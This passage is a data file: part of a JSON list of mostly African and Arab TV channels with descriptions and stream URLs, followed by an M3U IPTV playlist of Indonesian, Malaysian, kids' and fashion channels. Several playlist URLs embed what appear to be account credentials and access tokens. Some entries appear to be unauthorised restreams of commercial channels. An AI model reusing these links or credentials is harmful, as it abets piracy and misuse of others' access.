Guinéenne basée à Conakry. Elle diffuse de la musique des informations des documentaires. des programmes religieux et autre.","sources":["https://playtv4kpro.com:5443/LiveApp/streams/664825404798849938149128.m3u8"],"subtitle":"By Channel","thumb":"https://gtv1love.com/wp-content/uploads/2019/10/logo4.png","title":"GUINEE TV / Guinee "},{"description":"Inooro TV chaînes de télévision généraliste Kényane en langue Kikuyu lancé le 26 octobre 2015. Elle diffuse 24 heures sur 24. Inooro TV est une chaine du groupe Royal Media Services (RMS).","sources":["https://vidcdn.vidgyor.com/inoorotv-origin/liveabr/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://royalmedia.s3.amazonaws.com/wp-content/uploads/2019/10/inoorotv.jpg","title":"INOORO TV / Kenya "},{"description":"Citizen TV Kenya est une station nationale Kényane détenue par Royal Media Services Ltd.Elle diffuse principalement en anglais et en swahili. Elle a été lancé en 1999 et relancé en Juin 2006 c’est la station de télévision avec la plus forte croissance au Kenya avec un fort accent sur ??la programmation locale Basé au Communication Centre,Maalim Juma Road,Off Dennis Pritt Road, Nairobi, 7498-00300.","sources":["https://vidcdn.vidgyor.com/citizentv-origin/liveabr/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://www.innocirc.com/wp-content/uploads/2017/07/citizen.jpg","title":"CITIZEN TV / Kenya "},{"description":"RTJ TV ( Radio Télévision Jeune ) est une chaine de télévision culturel Sénégalaise. Elle diffuse des programme de divertissement( WatZapp le Zapping), Musique (playlist Mix Afro Mix Zouk Mix Hip Hop Musique sénégalaise), bien être, documentaire, Émission éducatif qui consiste à joindre l’utile à l’agréable à travers l'éducation des enfants, interviews ect.","sources":["http://public.acangroup.org:1935/output/rtjtv.stream/playlist.m3u8"],"subtitle":"By Channel","thumb":"http://rtjtv.com/images/rtjtv.png","title":"RTJ TV / Senegal"},{"description":"Mouride tv est une chaine de télévision généraliste sénégalaise basé à touba, Senegal. Mouride tv c’est la télévision base au coeur des événement mourides magal, thiante, wakhtane, khassaide, kourel en direct..","sources":["http://51.81.109.113:1935/Livemouridetv/mouridetv/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://live-tv-channels.org/pt-data/uploads/logo/sn-mouride-tv.jpg","title":"MOURIDE TV / Senegal"},{"description":"ANN TV est une chaîne d’Informations générales et de Divertissement. Elle est produite par JUUF COMMUNICATION et diffusée sur le site d’informations générales multimédia ANN. La plateforme ANN comporte un journal en ligne (ANN), une WebRadio (ANN FM) et une WebTV (ANN TV).","sources":["http://vod.acangroup.org:1935/output/anntv.stream/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://an-news.com/wp-content/uploads/2019/05/aan.png","title":"ANN TV / Senegal"},{"description":"Louga TV est une chaine culturelle et religieuse Senegalaise qui se veut attractive et objective. En temps réel, elle produit des vidéos de qualité qui tiennent compte de la spécificité de l’information et de la crédibilité de ses sources. Également, l’équipe technique et rédactionnelle est constituée de techniciens chevronnés aux compétences avérées. Dans son approche des enjeux de l’information capitale, la chaine louga tv offre des vidéos qui informent, forment et transforment le citoyen dans l’approche de son monde en devenir..","sources":["http://ira.dyndns.tv:8080/live/louga/CAnhiMtR6C/1708.m3u8"],"subtitle":"By Channel","thumb":"https://i.ytimg.com/vi/3Gnt2_SndXw/maxresdefault.jpg","title":"LOUGA TV / Senegal"},{"description":"Dieu TV est une chaine de télévision généraliste chrétienne pour la Francophonie.Elle proclame la Bonne Nouvelle du Salut en Jésus-Christ pour atteindre les 400 millions de Francophones dans le monde. Fondée en 2007. Dieu TV diffuse sur le Satellite Eutelsat 5WA (Europe et Afrique du Nord), et le Satellite Amos 5 et en streaming sur son site interne","sources":["https://katapy.hs.llnwd.net/dieutvwza1/DIEUTVLIVE/smil:dieutv.smil/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://live-tv-channels.org/pt-data/uploads/logo/fr-dieu-tv.jpg","title":"DIEU TV / Religion "},{"description":"Radio Télévision Hirondelle : La nouvelle couleur du Sud. Elle diffuse des émissions pour divers catégories nouvelles locales, nationales et internationales le sport du monde Entier la musique et videos clips Promotions des artistes Locaux.","sources":["http://play.acwstream.com:2000/live/acw_01/index.m3u8"],"subtitle":"By Channel","thumb":"https://radiotelehirondelle.com/wp-content/uploads/2020/08/logo.png","title":"HIRONDELLE TV"},{"description":"BEL TV est une station de télévision haïtienne qui diffuse sur le web via diverses plateformes et par câble. Notre vision est de créer une télévision standard dont la qualité du programme est aussi instructive que divertissante. À cote de cette vision, BEL TV s’est fixé pour mission de promouvoir la Culture haïtienne, à savoir le Cinéma, la musique, la littérature et bien plus encore, ce à travers la Caraïbe et le monde entier. BEL TV c’est une toute autre façon de faire la télé.","sources":["https://hbiptv.live/player/sakchotv/index.m3u8"],"subtitle":"By Channel","thumb":"https://image.roku.com/developer_channels/prod/1de97a21d9bd773a115a5467974be0b859d1157256316bd1e72ed48965c0191a.png","title":"BEL TV / Haiti "},{"description":"The Middle East Broadcasting Center (MBC) Group is the first private free-to-air satellite broadcasting company in the Arab World. It was launched in London in 1991 and later moved to its headquarters in Dubai in 2002. MBC Group provides multiple channels of information, interaction and entertainment. MBC Group includes 10 television channels: MBC1 (general family entertainment via terrestrial), MBC2 and MBC MAX (24-hour movies), MBC3 (children’s entertainment), MBC4 (entertainment for new Arab women via terrestrial).","sources":["https://shls-masr-prod.shahid.net/masr-prod.m3u8"],"subtitle":"By Channel","thumb":"https://upload.wikimedia.org/wikipedia/commons/7/7c/MBC_Masr_Logo.png","title":"MBC MSR 1 / Egypte"},{"description":"The Middle East Broadcasting Center (MBC) Group is the first private free-to-air satellite broadcasting company in the Arab World. It was launched in London in 1991 and later moved to its headquarters in Dubai in 2002. MBC Group provides multiple channels of information, interaction and entertainment. MBC Group includes 10 television channels: MBC1 (general family entertainment via terrestrial), MBC2 and MBC MAX (24-hour movies), MBC3 (children’s entertainment), MBC4 (entertainment for new Arab women via terrestrial).","sources":["https://shls-masr2-prod.shahid.net/masr2-prod.m3u8"],"subtitle":"By Channel","thumb":"https://i.pinimg.com/564x/01/3c/21/013c218c3ce9b3cfc883bdcdb121e5e6.jpg","title":"MBC MSR 2 / Egypte"},{"description":"Mekameleen TV is an Egyptian opposition TV Channel. It is based in Istanbul. It's known to be supportive of the Muslim Brotherhood","sources":["https://mn-nl.mncdn.com/mekameleen/smil:mekameleentv.smil/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://i.pinimg.com/564x/12/5b/1f/125b1febb8ada3a4f83475c2643adeb7.jpg","title":"Mekameleen TV / Egypte"},{"description":"The Kingdome Sat is television from Egypte founded in 2009 by Dr. Michael Yousef, the KingdomSat channel aims to introduce written teachings from the East and West to complement the vision given by God to the loss of the faraway and to encourage believers in the Middle East and North Africa region.","sources":["https://bcovlive-a.akamaihd.net/87f7c114719b4646b7c4263c26515cf3/eu-central-1/6008340466001/profile_0/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://live-tv-channels.org/pt-data/uploads/logo/eg-kingdom-sat-channe.jpg","title":"The Kingdom Sat TV / Egypt"},{"description":"D5 TV Music est une nouvelle chaîne de télévision musicale internationale, elle est dédiée aux musiques et aux cultures urbaines du monde entier (Rap, R&B, Hip-Hop, Pop, Rai, Naija, Olschool etc.) ciblant un public très large. D5Music entend devenir la chaîne référence musicale des 5 continents","sources":["https://www.rti.ci/direct_rti2.html"],"subtitle":"By Channel","thumb":"https://d5music.tv/wp-content/uploads/2020/07/cropped-LOGO-D5-MUSIC-BLANCROUGE_carre-192x192.png","title":"RTI 2 TV"},{"description":"A2iTV la chaine 100% immigration Senegalais, qui est née de la synergie de personnes qui ont décidé d’ unir leur force, leur compétence et leur ressources matérielles et financiéres pour participer avec l’aide des nouvelles technologies à informer sur l’ immigration .","sources":["http://51.158.31.93:1935/a2itv/myStream/playlist.m3u8"],"subtitle":"By Channel","thumb":"http://www.centraltv.fr/wp-content/uploads/A2itv_logo.jpg","title":"A2i TV / Senegal"},{"description":"A2i music est une chaine culturelle destinée à la Diaspora avec des programmes musicales et des dramatiques. A2i music couvre aussi les autres parties du monde, notament les Etats Unis, le Canada, l’Asie, etc. à travers les boitiers Roku fournis par AfricaAstv, Acantv, My African pack de Invevo et Sénégal.","sources":["http://51.158.31.93:1935/a2itvtwo/myStream/playlist.m3u8"],"subtitle":"By Channel","thumb":"http://www.centraltv.fr/wp-content/uploads/a2i-music_logo.jpg","title":"A2i TV / Music "},{"description":"A2i tv Relegion est une chaine culturelle destinée à la Diasporat senegalais avec des programme chretiens.","sources":["http://51.158.31.93:1935/a2itvthree/myStream/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://lh3.googleusercontent.com/wwumXcAbY83D0q-NgUv2veS-p54FJTq6LAvsPRwYwWo-70ggeDkCM1VdhqhibRQNk4o=s180-rw","title":"A2i TV / Religion "},{"description":"Love World Plus TV is your Christian faith and lifestyle channel destined to bring a new level of dynamism into Christian television programming through satellite and the internet. The reach of LoveWorld Plus is limitless.","sources":["http://hls.live.metacdn.com/2450C7/bedkcjfty/lwplus_628.m3u8"],"subtitle":"By Channel","thumb":"https://d3c5pcohbexzc4.cloudfront.net/videos/thumbs/be214-loveworldplus.jpg","title":"Love World Plus TV"},{"description":"A2i naija est une nouvelle chaîne de télévision musicale internationale, elle est dédiée aux musiques et aux cultures urbaines du monde entier (Rap, R&B, Hip-Hop, Pop, Rai, Naija, Olschool etc.) ciblant un public très large. D5Music entend devenir la chaîne référence musicale des 5 continents","sources":["http://51.158.31.93:1935/devtv/myStream/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://image.winudf.com/v2/image/YTVjZW50cy5hMmlfc2NyZWVuXzVfMTUxNTk5NTEyNl8wNTQ/screen-5.jpg?fakeurl=1&type=.jpg","title":"A2i / naija Music"},{"description":"BOK TV is an online and public access variety show and the show's log line what would happen if In Living Color and The Daily Show had a bastard child! BOKTV is what would happen and he show is split into segments: MONOLOGUE, SKETCH, ROUND TABLE, COMMERCIAL, BLACK TWITTER. create a platform of discourse that encourages exchange as opposed to polarity, and to showcase the talents of the host and other cast members.","sources":["http://boktv.interworks.in:1935/live/boktv/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://bokradio.co.za/wp-content/uploads/2017/07/button_cameratv.jpg","title":"BOK TV"},{"description":"Salt TV is a Christian television channel station from Uganda. Salt TV is based in Kampala. Matthew 5:13-16 (NKJV) Believers Are Salt and Light 13 You are the salt of the earth, but if the salt loses its flavor, how shall it be seasoned? It is then good for nothing but to be thrown out and trampled underfoot by men.","sources":["http://dcunilive38-lh.akamaihd.net/i/dclive_1@692676/index_150_av-p.m3u8"],"subtitle":"By Channel","thumb":"https://www.saltmedia.ug/images/NOV/SALT-TV.jpg","title":"Salt TV/ Uganda"},{"description":"TFM is Senegal’s privately-owned television channel.Owned by Senegalese musician Youssou N Dour, who owns a major media group in Dakar.","sources":["http://46.105.114.82/tfm_senegal.m3u8"],"subtitle":"By Channel","thumb":"https://3.bp.blogspot.com/-eyo4UyKqjlI/WWTobvXxLqI/AAAAAAAAB_g/BFn1KiR6vcYQMilgX4nWhGJHbHMEP_l0ACLcBGAs/s1600/tfm%2Bsenegal.png","title":"TFM TV/ Senegal"},{"description":"Africa tv1 est une télévision africaine qui travaille pour aider les peuples a se communiquer avec DIEU et surtout sensibiliser les Africains musulmans de partout.","sources":["http://africatv.live.net.sa:1935/live/africatv/playlist.m3u8"],"subtitle":"By Channel","thumb":"http://www.africagroup.tv/img/bgTV1.png","title":"Africa TV 1"},{"description":"Africa tv2 est une télévision africaine qui travaille pour aider les peuples a se communiquer avec DIEU et surtout sensibiliser les Africains musulmans de partout.","sources":["http://africatv.live.net.sa:1935/live/africatv2/playlist.m3u8"],"subtitle":"By Channel","thumb":"http://www.africagroup.tv/img/bgTV2.png","title":"Africa TV 2"},{"description":"Africa tv3 est une télévision africaine qui travaille pour aider les peuples a se communiquer avec DIEU et surtout sensibiliser les Africains de langue haoussa.","sources":["http://africatv.live.net.sa:1935/live/africatv3/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://www.africagroup.tv/img/bgTV3.png","title":"Africa TV 3"},{"description":"La télévision nationale tunisienne 1 est la chaîne publique nationale tunisienne. Il a été officiellement lancé le 31 mai 1966, mais diffuse des programmes pilotes de manière irrégulière depuis octobre 1965, puis régulièrement depuis janvier 1966 et s’appelle la radio et la télévision tunisienne (ATT). Elle est devenue Channel 7 en 1992 et Tunisia 7 en 1997, mais elle est restée une filiale de la Société tunisienne de radio et de télévision jusqu’en 2008, a conservé le siège qu’elle partageait et la Société tunisienne de télévision avec ses chaînes de télévision nationales tunisiennes et La Tunisie 21 plus tard connue sous le nom de Télévision nationale tunisienne 2 est devenue son nouveau siège. Après le déclenchement de la révolution populaire tunisienne et la défection de zine El Abidine Ben Ali du pays, il est devenu Télévision nationale tunisienne.","sources":["http://54.36.122.126/tunisie1.m3u8"],"subtitle":"By Channel.","thumb":"https://www.histoiredesfax.com/wp-content/uploads/2015/11/Television-nationale-watania.jpg","title":"TUNISIA 1"},{"description":"Sahel TV est la plateforme unique, ouverte à la société civile, aux citoyens et à l'autorité locale de la ville et de sa région pour leur permettre de s’exprimer librement, proposer leurs idées et accéder à toutes les informations économiques, environnementale, culturelle, sportive. Vos idées et vos propositions sont les bienvenues.","sources":["http://142.44.214.231:1935/saheltv/myStream/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://mobiletv.mobibase.com/html/logo/hd/channel_ld_747.png","title":"SAHEL TV / Tunisie"},{"description":"NIGERIA TELEVISION AUTORTEAutorité a commencé sous le nom de Western Nigerian Television Services (WNTV), qui a transmis ses premiers signaux au peuple nigérian et à toute l'Afrique le 31 octobre 1959. Au début de 1962, les trois gouvernements régionaux qui existaient au Nigéria avaient mis en place le Service de télévision nigérian (NTS). Télévision ont été créés et en 1976, l'Autorité de la télévision nigériane est née en tant que seule entité responsable de Diffusion télévisée au Nigéria.","sources":["http://54.38.93.93/nta.m3u8"],"subtitle":"By Channel","thumb":"https://static.squarespace.com/static/53d2a092e4b0125510bfe57d/53d2a2c6e4b018cd23e33d7b/53d2a2c6e4b018cd23e33f6f/1362042333867/1000w/nta.jpg","title":"NTA TV / Nigeria"},{"description":"ESPACE TV est une télévision basée à Conakry dans la commune de Matoto Kondeboungny au bord de l'autoroute Fidèle Castro (République de Guinée). La télé diffuse des informations du pays et du monde en temps réel. Des magazines axés sur les réalités des terroirs et des séries de divertissement. Détenue par le groupe Hadafo Médias, cette chaîne est la première du pays en terme d'audience; selon le rapport de Stat view international en 2019.","sources":["http://46.105.114.82/espacetv.m3u8"],"subtitle":"By Channel","thumb":"https://lh3.googleusercontent.com/ric-bS2gzvt-UyrhBIEdWENN9U-fL9Bnlhv12GEYSzSkZFWEIr7hc74k83kfLPqZDk0","title":"Espace TV / Guinée"},{"description":" Movies Now is an Indian high-definition television channel featuring Hollywood films. It was launched on 19 December 2010 with a picture quality of 1080i and 5.1 surround sound. The channel is owned by The Times Group. It has exclusive content licensing from films produced or distributed by MGM and has content licensing from Universal Studios, Walt Disney Studios, Marvel Studios, 20th Century Studios, Warner Bros and Paramount Pictures.","sources":["https://timesnow.airtel.tv/live/MN_pull/master.m3u8"],"subtitle":"By Channel","thumb":"https://upload.wikimedia.org/wikipedia/en/4/49/Movies_Now_logo.png","title":"Movies Now HD"},{"description":"Tunisie Immobilier TV, la première chaîne de l’immobilier en Tunisie Vous présente toutes les semaines, les actualités immobilières et économiques en Tunisie et dans le monde à travers des reportages.contact; E-mail:tunisieimmob@planet.tn/ Tel:(+216) 71 894500.","sources":["https://5ac31d8a4c9af.streamlock.net/tunimmob/myStream/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://i2.wp.com/www.tunisieimmobiliertv.net/wp-content/uploads/2016/10/fb.jpg?fit=1024%2C500&ssl=1","title":"Tunisie Immobilier TV"}]}]}
sugeth
#EXTM3U #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="LOKAL", JITV http://188.40.76.108:25461/live/mytv01/uSIRzmks51/132.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="LOKAL", CNN INDONESIA http://188.40.76.108:25461/live/mytv01/uSIRzmks51/135.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="LOKAL", JAKARTA GLOBE NEWS http://188.40.76.108:25461/live/mytv01/uSIRzmks51/136.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="LOKAL", BERITA SATU http://188.40.76.108:25461/live/mytv01/uSIRzmks51/137.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="LOKAL", iNews http://188.40.76.108:25461/live/mytv01/uSIRzmks51/138.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="LOKAL", METRO TV http://188.40.76.108:25461/live/mytv01/uSIRzmks51/142.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="LOKAL", MNC TV http://188.40.76.108:25461/live/mytv01/uSIRzmks51/143.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="LOKAL", GTV http://188.40.76.108:25461/live/mytv01/uSIRzmks51/144.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="LOKAL", RCTI http://188.40.76.108:25461/live/mytv01/uSIRzmks51/148.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="LOKAL", TRANS TV http://188.40.76.108:25461/live/mytv01/uSIRzmks51/150.ts #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="INDONESIA", GTV https://vcdn2.rctiplus.id/live/eds/gtv_fta/live_fta/gtv_fta-avc1_1000000=3-mp4a_64000_eng=2.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="INDONESIA", MNC https://vcdn2.rctiplus.id/live/eds/mnctv_fta/live_fta/mnctv_fta-avc1_1000000=3-mp4a_64000_eng=2.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="INDONESIA", RCTI https://vcdn2.rctiplus.id/live/eds/rcti_fta/live_fta/rcti_fta-avc1_1000000=3-mp4a_64000_eng=2.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="INDONESIA", INEWS https://vcdn2.rctiplus.id/live/eds/inews_fta/live_fta/inews_fta-avc1_1000000=3-mp4a_64000_eng=2.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="INDONESIA", ANTV http://210.210.155.35/qwr9ew/s/s07/02.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="INDONESIA", SCTV http://210.210.155.35/qwr9ew/s/s03/02.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="INDONESIA", INDOSIAR http://210.210.155.35/qwr9ew/s/s04/02.m3u8?app_type=mobile&userid=2m4n6yjvyen&tkn=KRHYTUJF1CXB6NERN2PF249FY9E1XFRK&chname=Indosiar #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="INDONESIA", NET http://210.210.155.35/qwr9ew/s/s08/02.m3u8?app_type=mobile&userid=2m4n6yjvyen&tkn=KRHYTUJF1CXB6NERN2PF249FY9E1XFRK&chname=NET. #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="INDONESIA", TRANS 7 http://210.210.155.35:80/qwr9ew/s/s101/02.m3u8?app_type=mobile&userid=2m4n6yjvyen&tkn=CURG2HD4BSEXBXU0R06QXEJWCRIVSOFC&chname=Trans7 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="INDONESIA", TV ONE http://210.210.155.35:80/qwr9ew/s/s105/01.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="INDONESIA", TRANS TV http://210.210.155.35:80/x6bnqe/s/s252/02.m3u8?app_type=mobile&userid=2m4n6yjvyen&tkn=CURG2HD4BSEXBXU0R06QXEJWCRIVSOFC&chname=Trans_TV #EXTINF:-1 tvg-logo="http://3.bp.blogspot.com/-Wr4Rkqj06zY/UfXxmjl4HkI/AAAAAAAAA2g/t-hzB8FGdnQ/s1600/lebaran2.gif" group-title="INDONESIA",RTV http://210.210.155.35/qwr9ew/s/s12/02.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="INDONESIA", METRO TV HD http://edge.metroTVnews.com:1935/live-edge/smil:metro.smil/master.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="INDONESIA", TVRI NASIONAL http://wpc.d1627.nucdn.net:80/80D1627/o-tvri/Content/HLS/Live/Channel(TVRINASIONAL)/Stream(04)/index.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="INDONESIA", TVRI DKI JAKARTA http://wpc.d1627.nucdn.net:80/80D1627/o-tvri/Content/HLS/Live/Channel(TVRIDKI)/Stream(03)/index.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="INDONESIA", TVRI BUDAYA http://wpc.d1627.nucdn.net:80/80D1627/o-tvri/Content/HLS/Live/Channel(TVRI3)/Stream(03)/index.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="INDONESIA", BERITASATU http://edge.linknetott.swiftserve.com/live/BsNew/amlst:beritasatunewsbs/chunklist_b846000.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="INDONESIA", ID KU https://cdn-accedo-01.akamaized.net:443/Content/DASH/Live/channel(9c829723-9b34-49fd-bce4-53efa462576b)/manifest.mpd #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="INDONESIA",USEE PRIME https://cdn-accedo-01.akamaized.net:443/Content/DASH/Live/channel(e7243cff-628b-45a9-8361-11bade1e6021)/manifest.mpd #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="INDONESIA",USEE PHOTO https://cdn-accedo-01.akamaized.net:443/Content/DASH/Live/channel(28342aae-356c-46c1-b150-98ac3fb0fd5c)/manifest.mpd #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="INDONESIA",RUANG TERAMPIL https://cdn-accedo-01.akamaized.net:443/Content/DASH/Live/channel(56a81d9a-f190-463b-9a01-42f85674e8bd)/manifest.mpd #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MALAYSIA", ASTRO NAURA https://agplayback03.aotg-video.astro.com.my/CH2/master_NAURAGOSHOP4.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MALAYSIA", ASTRO RUUMA https://agplayback03.aotg-video.astro.com.my/CH1/master_GOSHOP_03.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MALAYSIA", ASTRO GAAYA https://agplayback03.aotg-video.astro.com.my/CH3/master_GOSHOP3_04.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MALAYSIA", ASTRO GOSHOP https://agplayback03.aotg-video.astro.com.my/CH1/master_GOSHOP.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MALAYSIA", ASTRO AWANI https://bcsecurelivehls-i.akamaihd.net/hls/live/722763/4508222217001/master.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MALAYSIA", RTM TV1 https://rtm1mobile.secureswiftcontent.com:443/Origin01/ngrp:RTM1/chunklist_b464000.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MALAYSIA", RTM TV2 https://rtm2mobile.secureswiftcontent.com:443/Origin01/ngrp:RTM1/chunklist_b464000.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MALAYSIA", TV3 http://ts.lemmovie.com/55a7edc5-112d-47ce-92bd-d242cf580f46.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="RELIGI", AHSAN TV http://119.82.224.75:1935/live/ahsantv/playlist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="RELIGI", AL IMAN http://vs.suaraaliman.com:1935/aliman/HD/playlist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="RELIGI", AL-BAHJAH TV https://edge.siar.us/albahjahtv/live/playlist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="KIDS", ANIMAX http://210.210.155.35/dr9445/h/h144/01.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="KIDS", ANIPLUS http://210.210.155.35:80/dr9445/h/h02/index.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="KIDS", Disney XD https://www.livedoomovies.com/02_DisneyXD_720p/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="KIDS", Cartoon Network https://www.livedoomovies.com/02_CartoonNetwork_720p/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="KIDS", Cartoon Club 2 http://edge4-bkk.3bb.co.th:1935/CartoonClub_Livestream/cartoonclub_480P.stream/chunklist_w2052379668.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="KIDS", Rooster Teeth TV https://d2klx6wjx7p5vm.cloudfront.net/Rooster-teeth/ngrp:Rooster-teeth_all/playlist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="KIDS", TCT KIDS http://bcoveliveios-i.akamaihd.net/hls/live/206632/1997976452001/FamilyHLS/FamilyHLS_Live_1200.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="KIDS", TVO KIDS https://bcsecurelivehls-i.akamaihd.net/hls/live/623607/15364602001/tvokids/master.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="FASHION", Fashion TV MIDNIGHT http://fash1043.cloudycdn.services/slive/_definst_/ftv_midnite_secrets_adaptive.smil/chunklist_b4700000_t64MTA4MHA=.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="FASHION", Fashion TV Midnite Secrets http://fash1043.cloudycdn.services/slive/_definst_/ftv_ftv_midnite_k1y_27049_midnite_secr_108_hls.smil/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="FASHION", Fashion TV Paris https://fash1043.cloudycdn.services/slive/_definst_/ftv_ftv_paris_pg_4dg_27027_paris_pg18_188_hls.smil/playlist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="FASHION", WF http://wfc.bonus-tv.ru/cdn/wfcint/tracks-v2a1/index.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="FASHION", HD Fashion & LifeStyle http://95.67.47.115/hls/hdfashion_ua_hi/index.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="FASHION", JASMIN TV http://109.71.162.112:1935/live/sd.jasminchannel.stream/media_w852484650_6656.m3u8 